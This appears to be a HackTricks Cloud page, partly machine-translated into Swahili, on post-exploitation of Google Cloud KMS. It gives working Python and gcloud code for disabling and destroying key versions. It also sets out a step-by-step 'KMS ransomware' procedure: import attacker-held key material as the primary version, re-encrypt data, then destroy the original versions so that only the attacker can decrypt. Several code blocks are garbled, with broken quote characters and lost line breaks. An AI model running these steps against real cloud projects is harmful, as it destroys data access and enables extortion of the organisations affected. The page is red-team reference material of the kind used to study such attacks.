GCP - KMS Post Exploitation
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na đŹ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter đŚ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
KMS
Pata taarifa za msingi kuhusu KMS katika:
cloudkms.cryptoKeyVersions.destroy
An attacker with this permission could destroy a KMS version. Ili kufanya hivyo unahitaji kwanza ku-disable key kisha ku-destroy:
Disable and destroy key version (Python)
```python # pip install google-cloud-kmsfrom google.cloud import kms
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): âââ Disables a key version in Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to disable the key version.
client.update_crypto_key_version(request={âcrypto_key_versionâ: {ânameâ: key_version_name, âstateâ: kms.CryptoKeyVersion.State.DISABLED}})
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): âââ Destroys a key version in Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to destroy the key version.
client.destroy_crypto_key_version(request={ânameâ: key_version_name})
Example usage
project_id = âyour-project-idâ location_id = âyour-locationâ key_ring_id = âyour-key-ringâ key_id = âyour-key-idâ key_version = â1â # Version number to disable and destroy
Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
</details>
### KMS Ransomware
Katika AWS inawezekana kabisa **steal a KMS key** kwa kubadilisha KMS resource policy na kuruhusu akaunti ya mshambuliaji pekee kutumia key hiyo. Kwa kuwa resource policies hizi hazipo katika GCP, hii haiwezekani.
Hata hivyo, kuna njia nyingine ya kufanya KMS Ransomware ya kimataifa, ambayo ingejumuisha hatua zifuatazo:
- Unda toleo jipya la **version of the key with a key material** lililoingizwa na mshambuliaji
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
- Weka kama default version (kwa ajili ya data zijazo zitakazokuwa encrypted)
- Re-encrypt older data zilizokuwa encrypted na version ya awali kwa kutumia ile mpya.
- Delete the KMS key
- Sasa ni attacker pekee, ambaye ana original key material, atakuwa na uwezo wa decrypt the encrypted data
Hapa kuna hatua za ku-import version mpya na ku-disable/delete data za zamani:
Import version mpya ya key na delete version ya zamani
```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.encDecrypt it
gcloud kms decrypt
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âciphertext-file my-encrypted-file.enc
âplaintext-file -
Create an Import Job
gcloud kms import-jobs create my-import-job
âlocation us-central1
âkeyring kms-lab-2-keyring
âimport-method ârsa-oaep-3072-sha1-aes-256â
âprotection-level âsoftwareâ
Generate key material
openssl rand -out my-key-material.bin 32
Import the Key Material (itâs encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import
âimport-job my-import-job
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âalgorithm âgoogle-symmetric-encryptionâ
âtarget-key-file my-key-material.bin
Get versions
gcloud kms keys versions list
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
Make new version primary
gcloud kms keys update
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âprimary-version 2
Try to decrypt again (error)
gcloud kms decrypt
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âciphertext-file my-encrypted-file.enc
âplaintext-file -
Disable initial version
gcloud kms keys versions disable
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key 1
Destroy the old version
gcloud kms keys versions destroy
âlocation us-central1
âkeyring kms-lab-2-keyring
âkey kms-lab-2-key
âversion 1
</details>
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
<details>
<summary>Kuficha data kwa kutumia funguo simetriki (Python)</summary>
```python
from google.cloud import kms
import base64
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
Saini ujumbe kwa kiufunguo asymmetriki (Python)
```python import hashlib from google.cloud import kmsdef sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): âââ Sign a message using an asymmetric key version from Cloud KMS. âââ
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Convert the message to bytes and calculate the digest.
message_bytes = message.encode(âutf-8â) digest = {âsha256â: hashlib.sha256(message_bytes).digest()}
Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature
Example usage for signing
project_id = âyour-project-idâ location_id = âyour-locationâ key_ring_id = âyour-key-ringâ key_id = âyour-key-idâ key_version = â1â message = âyour-messageâ
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(âSignature:â, signature)
</details>
### `cloudkms.cryptoKeyVersions.useToVerify`
<details>
<summary>Thibitisha saini kwa kutumia ufunguo wa asymmetric (Python)</summary>
```python
from google.cloud import kms
import hashlib
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
cloudkms.cryptoKeyVersions.restore
Ruhusa ya cloudkms.cryptoKeyVersions.restore inaruhusu kitambulisho kurejesha toleo la ufunguo ambalo lilikuwa limepangwa kuharibiwa au lilizimwa katika Cloud KMS, likirejeshwa katika hali ya kazi na inayoweza kutumika.
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
cloudkms.cryptoKeyVersions.update
Ruhusa ya cloudkms.cryptoKeyVersions.update inamruhusu mtambulisho kubadilisha sifa au hali ya toleo maalum la ufunguo katika Cloud KMS, kwa mfano, kwa kuiwezesha au kuizima.
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na đŹ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter đŚ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud

